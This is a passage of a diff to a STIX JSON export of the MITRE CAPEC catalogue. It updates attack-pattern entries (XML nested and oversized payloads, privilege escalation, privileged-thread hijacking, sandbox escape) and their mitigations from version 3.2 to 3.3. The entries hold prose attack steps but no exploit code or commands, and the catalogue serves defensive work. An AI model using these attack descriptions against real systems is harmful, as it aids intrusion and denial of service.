"mitigates", "target_ref": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046" }, { + "id": "relationship--960af13f-fe8f-4f17-982b-7e5360329636", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--960af13f-fe8f-4f17-982b-7e5360329636", "source_ref": "course-of-action--3c433a52-7784-4abd-b404-41fc8a423886", "relationship_type": "mitigates", "target_ref": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046" }, { + "id": "attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f", "name": "XML Nested Payloads", - "description": "Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an adversary to inject data that may have an adverse effect on the XML parser when it is being processed. By nesting XML data and causing this data to be continuously self-referential, an adversary can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization. An adversary's goal is to leverage parser failure to his or her advantage. In most cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [R.230.1]. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", + "description": "Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an adversary to inject data that may have an adverse effect on the XML parser when it is being processed. By nesting XML data and causing this data to be continuously self-referential, an adversary can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization. An adversary's goal is to leverage parser failure to their advantage. In most cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [REF-89]. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13476,120 +14610,129 @@ ] }, "x_capec_abstraction": "Standard", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. An adversary determines the input data stream that is being processed by an XML parser on the victim's side.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the XML parser when the data is parsed on the victim's system.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--36152024-b152-45df-971f-77544fb57db8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-230-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Carefully validate and sanitize all user-controllable data prior to passing it to the XML parser routine. Ensure that the resultant data is safe to pass to the XML parser.", - "type": "course-of-action", - "id": "course-of-action--36152024-b152-45df-971f-77544fb57db8" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e97711a4-1f8c-4298-95c0-ffcedab572b5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e97711a4-1f8c-4298-95c0-ffcedab572b5", "source_ref": "course-of-action--36152024-b152-45df-971f-77544fb57db8", "relationship_type": "mitigates", "target_ref": "attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f" }, { + "id": "course-of-action--7ca13542-450d-4218-bd44-e0cf51b2ecc3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-230-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Perform validation on canonical data.", - "type": "course-of-action", - "id": "course-of-action--7ca13542-450d-4218-bd44-e0cf51b2ecc3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--8c47b649-733d-47c3-a553-9ef173fdeb95", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8c47b649-733d-47c3-a553-9ef173fdeb95", "source_ref": "course-of-action--7ca13542-450d-4218-bd44-e0cf51b2ecc3", "relationship_type": "mitigates", "target_ref": "attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f" }, { + "id": "course-of-action--7b25cd24-0c01-42ef-bbf2-5d68fb285f03", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-230-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Pick a robust implementation of an XML parser.", - "type": "course-of-action", - "id": "course-of-action--7b25cd24-0c01-42ef-bbf2-5d68fb285f03" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f70328f1-9014-4fdf-b4f9-7acf00033822", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f70328f1-9014-4fdf-b4f9-7acf00033822", "source_ref": "course-of-action--7b25cd24-0c01-42ef-bbf2-5d68fb285f03", "relationship_type": "mitigates", "target_ref": "attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f" }, { + "id": "course-of-action--5e875224-35da-4a80-91a8-a99a012fd457", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-230-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Validate XML against a valid schema or DTD prior to parsing.", - "type": "course-of-action", - "id": "course-of-action--5e875224-35da-4a80-91a8-a99a012fd457" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--237de746-f4ad-44e1-9ffb-d855c4e73ef2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--237de746-f4ad-44e1-9ffb-d855c4e73ef2", "source_ref": "course-of-action--5e875224-35da-4a80-91a8-a99a012fd457", "relationship_type": "mitigates", "target_ref": "attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f" }, { - "name": "XML Oversized Payloads", - "description": "Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an adversary to inject data that may have an adverse effect on the XML parser when it is being processed. By supplying oversized payloads in input vectors that will be processed by the XML parser, an adversary can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization, and potentially cause execution of arbitrary code. An adversary's goal is to leverage parser failure to his or her advantage. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. However it is possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [R.231.1]. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", + "id": "attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17", + "name": "Oversized Serialized Data Payloads", + "description": "Applications often need to transform data in and out of serialized data formats, such as XML and YAML, by using a data parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. By supplying oversized payloads in input vectors that will be processed by the parser, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization, and potentially cause execution of arbitrary code. An adversary's goal is to leverage parser failure to their advantage. In many cases this type of an attack will result in an XML Denial of Service (XDoS) or similar Denial of Service (DoS) due to an application becoming unstable, freezing, or crashing. However it is possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [REF-89]. DoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious data payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in serialized data related DoS is that the service provider generally must inspect, parse, and validate the data messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that DoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13634,8 +14777,8 @@ "x_capec_likelihood_of_attack": "Medium", "x_capec_typical_severity": "High", "x_capec_prerequisites": [ - "An application uses an XML parser to perform transformation on user-controllable data.", - "An application does not perform sufficient validation to ensure that user-controllable data is safe for an XML parser." + "An application uses an parser for serialized data to perform transformation on user-controllable data.", + "An application does not perform sufficient validation to ensure that user-controllable data is safe for a data parser." ], "x_capec_skills_required": { "Low": "Denial of service", @@ -13662,33 +14805,48 @@ ] }, "x_capec_abstraction": "Standard", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. An adversary determines the input data stream that is being processed by an serialized data parser on the victim's side.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the data parser when the data is parsed on the victim's system.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-231-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "description": "Carefully validate and sanitize all user-controllable serialized data prior to passing it to the parser routine. Ensure that the resultant data is safe to pass to the parser.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--e235322d-0b83-4799-860a-2681f51d6ea5" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a4476d25-d25a-4b30-97d1-0248c28fb905", - "source_ref": "course-of-action--36152024-b152-45df-971f-77544fb57db8", + "id": "relationship--abe2962c-e934-432f-9b1b-de3b76706fbc", + "source_ref": "course-of-action--e235322d-0b83-4799-860a-2681f51d6ea5", "relationship_type": "mitigates", "target_ref": "attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17" }, { + "id": "relationship--a7f9b18e-bc2b-4981-ac34-7d93f9d6dde7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a7f9b18e-bc2b-4981-ac34-7d93f9d6dde7", "source_ref": "course-of-action--7ca13542-450d-4218-bd44-e0cf51b2ecc3", "relationship_type": "mitigates", "target_ref": "attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17" @@ -13696,30 +14854,59 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-231-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "description": "Pick a robust implementation of the serialized data parser.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--c7172552-a553-4ec3-ac05-d847c8f293e5" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--558b68e7-6fb9-45aa-921c-2f54033a8520", - "source_ref": "course-of-action--7b25cd24-0c01-42ef-bbf2-5d68fb285f03", + "id": "relationship--2938365a-8b0f-4d54-8471-81ea79d3ef9a", + "source_ref": "course-of-action--c7172552-a553-4ec3-ac05-d847c8f293e5", "relationship_type": "mitigates", "target_ref": "attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-231-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "description": "Validate data against a valid schema or DTD prior to parsing.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--94c30519-b707-419d-b628-0f08718b908b" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c3e276cd-1497-4b60-b0e7-1d6b3ae392b9", - "source_ref": "course-of-action--5e875224-35da-4a80-91a8-a99a012fd457", + "id": "relationship--7a7e323e-7ab6-42f3-a56d-42335147b140", + "source_ref": "course-of-action--94c30519-b707-419d-b628-0f08718b908b", "relationship_type": "mitigates", "target_ref": "attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17" }, { + "id": "attack-pattern--c05fff04-b965-4a11-9c18-379dac31969f", "name": "Privilege Escalation", "description": "An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13727,7 +14914,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13738,15 +14925,26 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/269.html", "external_id": "CWE-269" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1264.html", + "external_id": "CWE-1264" + }, + { + "source_name": "ATTACK", + "description": "Abuse Elevation Control Mechanism", + "url": "https://attack.mitre.org/wiki/Technique/T1548", + "external_id": "T1548" } ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c05fff04-b965-4a11-9c18-379dac31969f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--9f1d96c7-fcc8-4708-b98d-23f1fd86e07b", "name": "Hijacking a privileged process", "description": "An attacker gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code. Processes can be hijacked through improper handling of user input (for example, a buffer overflow or certain types of injection attacks) or by utilizing system utilities that support process control that have been inadequately secured.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13754,7 +14952,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13770,6 +14968,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/648.html", "external_id": "CWE-648" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Executable Installer File Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/005", + "external_id": "T1574.005" } ], "x_capec_typical_severity": "Medium", @@ -13781,11 +14985,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9f1d96c7-fcc8-4708-b98d-23f1fd86e07b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--19f01fde-7707-4938-afb5-daa22bf8c93f", "name": "DEPRECATED: Implementing a callback to system routine (old AWT Queue)", "description": "This attack pattern has been deprecated. Please refer to CAPEC:30 - Hijacking a Privileged Thread of Execution.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13803,11 +15007,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--19f01fde-7707-4938-afb5-daa22bf8c93f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91", "name": "Catching exception throw/signal from privileged block", "description": "Attackers can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means. Having done so, the Attacker may not only likely access functionality the system's designer didn't intend for them, but they may also go undetected or deny other users essential service in a catastrophic (or insidiously subtle) way.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13815,7 +15019,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13864,62 +15068,67 @@ "x_capec_example_instances": [ "Attacker targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread. The Attacker could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Attacker determines the underlying system thread that is subject to user-control

Experiment

  1. Attacker then provides input, perhaps by way of environment variables for the process in question, that affect the executing thread

Exploit

  1. Upon successful hijacking, the attacker enjoys elevated privileges, and can possibly have the hijacked thread do their bidding

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--02bf1351-f6d0-4c6b-b664-db093ddd611f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-236-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Application Architects must be careful to design callback, signal, and similar asynchronous constructs such that they shed excess privilege prior to handing control to user-written (thus untrusted) code.", - "type": "course-of-action", - "id": "course-of-action--02bf1351-f6d0-4c6b-b664-db093ddd611f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--20fdca6c-c2be-48b1-958c-fd910b328534", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--20fdca6c-c2be-48b1-958c-fd910b328534", "source_ref": "course-of-action--02bf1351-f6d0-4c6b-b664-db093ddd611f", "relationship_type": "mitigates", "target_ref": "attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91" }, { + "id": "course-of-action--894bbc33-ad68-435b-a4b6-8b4711316c5b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-236-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Application Architects must be careful to design privileged code blocks such that upon return (successful, failed, or unpredicted) that privilege is shed prior to leaving the block/scope.", - "type": "course-of-action", - "id": "course-of-action--894bbc33-ad68-435b-a4b6-8b4711316c5b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9c6c54ee-20f7-4711-985f-02c90e0667d9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9c6c54ee-20f7-4711-985f-02c90e0667d9", "source_ref": "course-of-action--894bbc33-ad68-435b-a4b6-8b4711316c5b", "relationship_type": "mitigates", "target_ref": "attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91" }, { + "id": "attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce", "name": "Escaping a Sandbox by Calling Signed Code in Another Language", "description": "The attacker may submit a malicious signed code from another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13927,7 +15136,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13985,112 +15194,121 @@ "x_capec_example_instances": [ "Exploit: Java/ByteVerify.C is a detection of malicious code that attempts to exploit a vulnerability in the Microsoft Virtual Machine (VM). The VM enables Java programs to run on Windows platforms. The Microsoft Java VM is included in most versions of Windows and Internet Explorer. In some versions of the Microsoft VM, a vulnerability exists because of a flaw in the way the ByteCode Verifier checks code when it is initially being loaded by the Microsoft VM. The ByteCode Verifier is a low level process in the Microsoft VM that is responsible for checking the validity of code - or byte code - as it is initially being loaded into the Microsoft VM. Java/ByteVerify.C attempts to download a file named \"msits.exe\", located in the same virtual directory as the Java applet, into the Windows system folder, and with a random file name. It then tries to execute this specific file. This flaw enables attackers to execute arbitrary code on a user's machine such as writing, downloading and executing additional malware. This vulnerability is addressed by update MS03-011, released in 2003." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Probing: The attacker probes the target application to see whether calling signed code from another language is allowed within a sandbox.

    2. Techniques
    The attacker probes the target application to see whether calling signed code from another language is allowed within a sandbox.

  2. Analysis: The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.

    3. Techniques
    The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.

Experiment

  1. Verify the exploitable security weaknesses: The attacker tries to craft malicious signed code from another language allowed by the sandbox to verify the security weaknesses of the standard libraries found in the Explore phase.

    2. Techniques
    The attacker tries to explore the security weaknesses by calling malicious signed code from another language allowed by the sandbox.

Exploit

  1. Exploit the security weaknesses in the standard libraries: The attacker calls signed malicious code from another language to exploit the security weaknesses in the standard libraries verified in the Experiment phase. The attacker will be able to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox.

    2. Techniques
    The attacker calls signed malicious code from another language to exploit the security weaknesses in the standard libraries.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--93d2ef31-a689-4f16-bf00-29334bcab36a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-237-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Assurance: Sanitize the code of the standard libraries to make sure there is no security weaknesses in them.", - "type": "course-of-action", - "id": "course-of-action--93d2ef31-a689-4f16-bf00-29334bcab36a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b8d07f3e-4893-4581-9ddd-565364f55f22", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b8d07f3e-4893-4581-9ddd-565364f55f22", "source_ref": "course-of-action--93d2ef31-a689-4f16-bf00-29334bcab36a", "relationship_type": "mitigates", "target_ref": "attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce" }, { + "id": "course-of-action--223d8fc3-bfd2-4786-917f-9e09d40cd357", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-237-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use obfuscation and other techniques to prevent reverse engineering the standard libraries.", - "type": "course-of-action", - "id": "course-of-action--223d8fc3-bfd2-4786-917f-9e09d40cd357" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c1bf353f-a708-448c-8b53-22dadacd7c49", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c1bf353f-a708-448c-8b53-22dadacd7c49", "source_ref": "course-of-action--223d8fc3-bfd2-4786-917f-9e09d40cd357", "relationship_type": "mitigates", 